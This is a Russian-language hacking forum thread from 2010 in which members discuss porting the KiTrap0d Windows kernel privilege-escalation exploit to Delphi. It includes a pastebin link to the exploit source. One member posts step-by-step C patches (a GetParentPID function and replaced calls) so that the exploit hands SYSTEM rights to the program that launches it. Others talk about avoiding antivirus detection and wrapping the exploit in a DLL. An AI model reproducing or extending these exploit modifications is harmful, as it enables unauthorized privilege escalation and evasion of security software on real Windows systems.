ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
KiTrap0d local ring0 exploit на DELPHI |

22.01.2010, 00:37
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме: 2310282
Репутация:
149
|
|
KiTrap0d local ring0 exploit на DELPHI
Возможно ли это?
В С++ шарю не очень, хотя команды похожие.
Подскажите, пожалуйста как сделать аналог на Delphi?
vdmallowed.exe
http://pastebin.com/m5f3df162
Начал с этого:
Код:
CreateProcess(nil, 'C:\\WINDOWS\\SYSTEM32\\CMD.EXE', nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi);
|
|
|

22.01.2010, 01:18
|
|
Постоянный
Регистрация: 13.12.2008
Сообщений: 354
Провел на форуме: 1747641
Репутация:
175
|
|
Хм. Ну что ж... Неплохое и многообещающие начало! Самым лучшим вариантом было бы перевести код самого эксплоита на язык Delphi (на хабре выкладывали на C++).
Но EXE уже антивирем палится.
|
|
|

22.01.2010, 10:41
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
По идее там можно сделать так чтобы ничем не палилось и без лишней DLL )
И даже не юзая debug.exe. Посмотри исходники и там быстро можно понять что и как.
Но на делфи переделывать не советую. Будут баги конкретные, в особенности в плане кода исполняемого в ring0 (если чуть не так напишеш)
|
|
|

22.01.2010, 18:51
|
|
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме: 1290766
Репутация:
1236
|
|
делаю без дэлэлэ, посморим че выйдет)
__________________
 
snow white world wide
|
|
|

22.01.2010, 18:53
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме: 2310282
Репутация:
149
|
|
Сообщение от sn0w
делаю без дэлэлэ, посморим че выйдет)
Оо, сэнкс. Будем ждать)
|
|
|

22.01.2010, 21:08
|
|
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме: 1290766
Репутация:
1236
|
|
на си тока и я под вынь7 сделал. у меня тока тоталресеты, что говорит что работает но криво) разбираться уже сил нет)
короче я пытался тока р0 исполнение запустить без копирования маркера с привелегиями но видимо не туда улетаю( а вмвару надо еще скачать мля
__________________
 
snow white world wide
Последний раз редактировалось sn0w; 22.01.2010 в 21:13..
|
|
|

23.01.2010, 11:49
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Вообще сплоит чуть мутноват. т.е. периодически систему в бсод кидает.
Я его чуть усовершенствовал. Теперь он не создает cmd с правами system.
Теперь он дает права system для той проги которая запускает его.
т.е. запускаем сплоит и та кто прога которая запустила его, сразу становится с правами system. Т.е. налог пингвиних рутовых сплоитов.
Чуть позже мож выложу мой апдейт
|
|
|

23.01.2010, 12:00
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Ну вот моя дороботка.
В файле vdmallowed.c правим
1) в начале добавляем #include <tlhelp32.h>
2) полностью удаляем функцию PrepareProcessForSystemToken
3) Этот код
Код:
if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
заменяем на этот
Код:
ShellPid = GetParentPID();
if (!ShellPid)
{
LogMessage(L_ERROR, "GetParentPID() returned failure");
goto finished;
}
4) Вписываем вот эту функцию
Код:
ULONG GetParentPID()
{
HANDLE h;
ULONG pid;
PROCESSENTRY32 pe32;
ULONG ret = 0;
pid = GetCurrentProcessId();
h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (h != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(h, &pe32))
{
CloseHandle(h);
return 0;
}
do
{
if (pe32.th32ProcessID == pid)
{
ret = pe32.th32ParentProcessID;
break;
}
} while (Process32Next(h, &pe32));
CloseHandle(h);
}
return ret;
}
т.е. вся идея не в том, чтобы создать процес и получить его пид, а в том, чтобы узнать пид родителя.
5) перед SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
пишем:
char buf[260];
GetSystemDirectoryA(buf, 256);
lstrcatA(buf, "\\debug.exe");
SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
заменяем на
SpawnNTVDMAndGetUsefulAccess(buf, &VdmHandle)
т.е. в данном случае мы не будем зависеть от диска на котором находится винда.
Последний раз редактировалось slesh; 23.01.2010 в 12:03..
|
|
|

23.01.2010, 12:16
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме: 2310282
Репутация:
149
|
|
slesh, предложи что нить для delphi 
Может хоть dll'ку сделать, чтобы из нее эти функции запускать.
|
|
|

23.01.2010, 12:22
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Ну так возьми сишный код самой проги, убери логирование и форми в виде DLL
и функцию main назови по другому и сделай экспортируемой
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|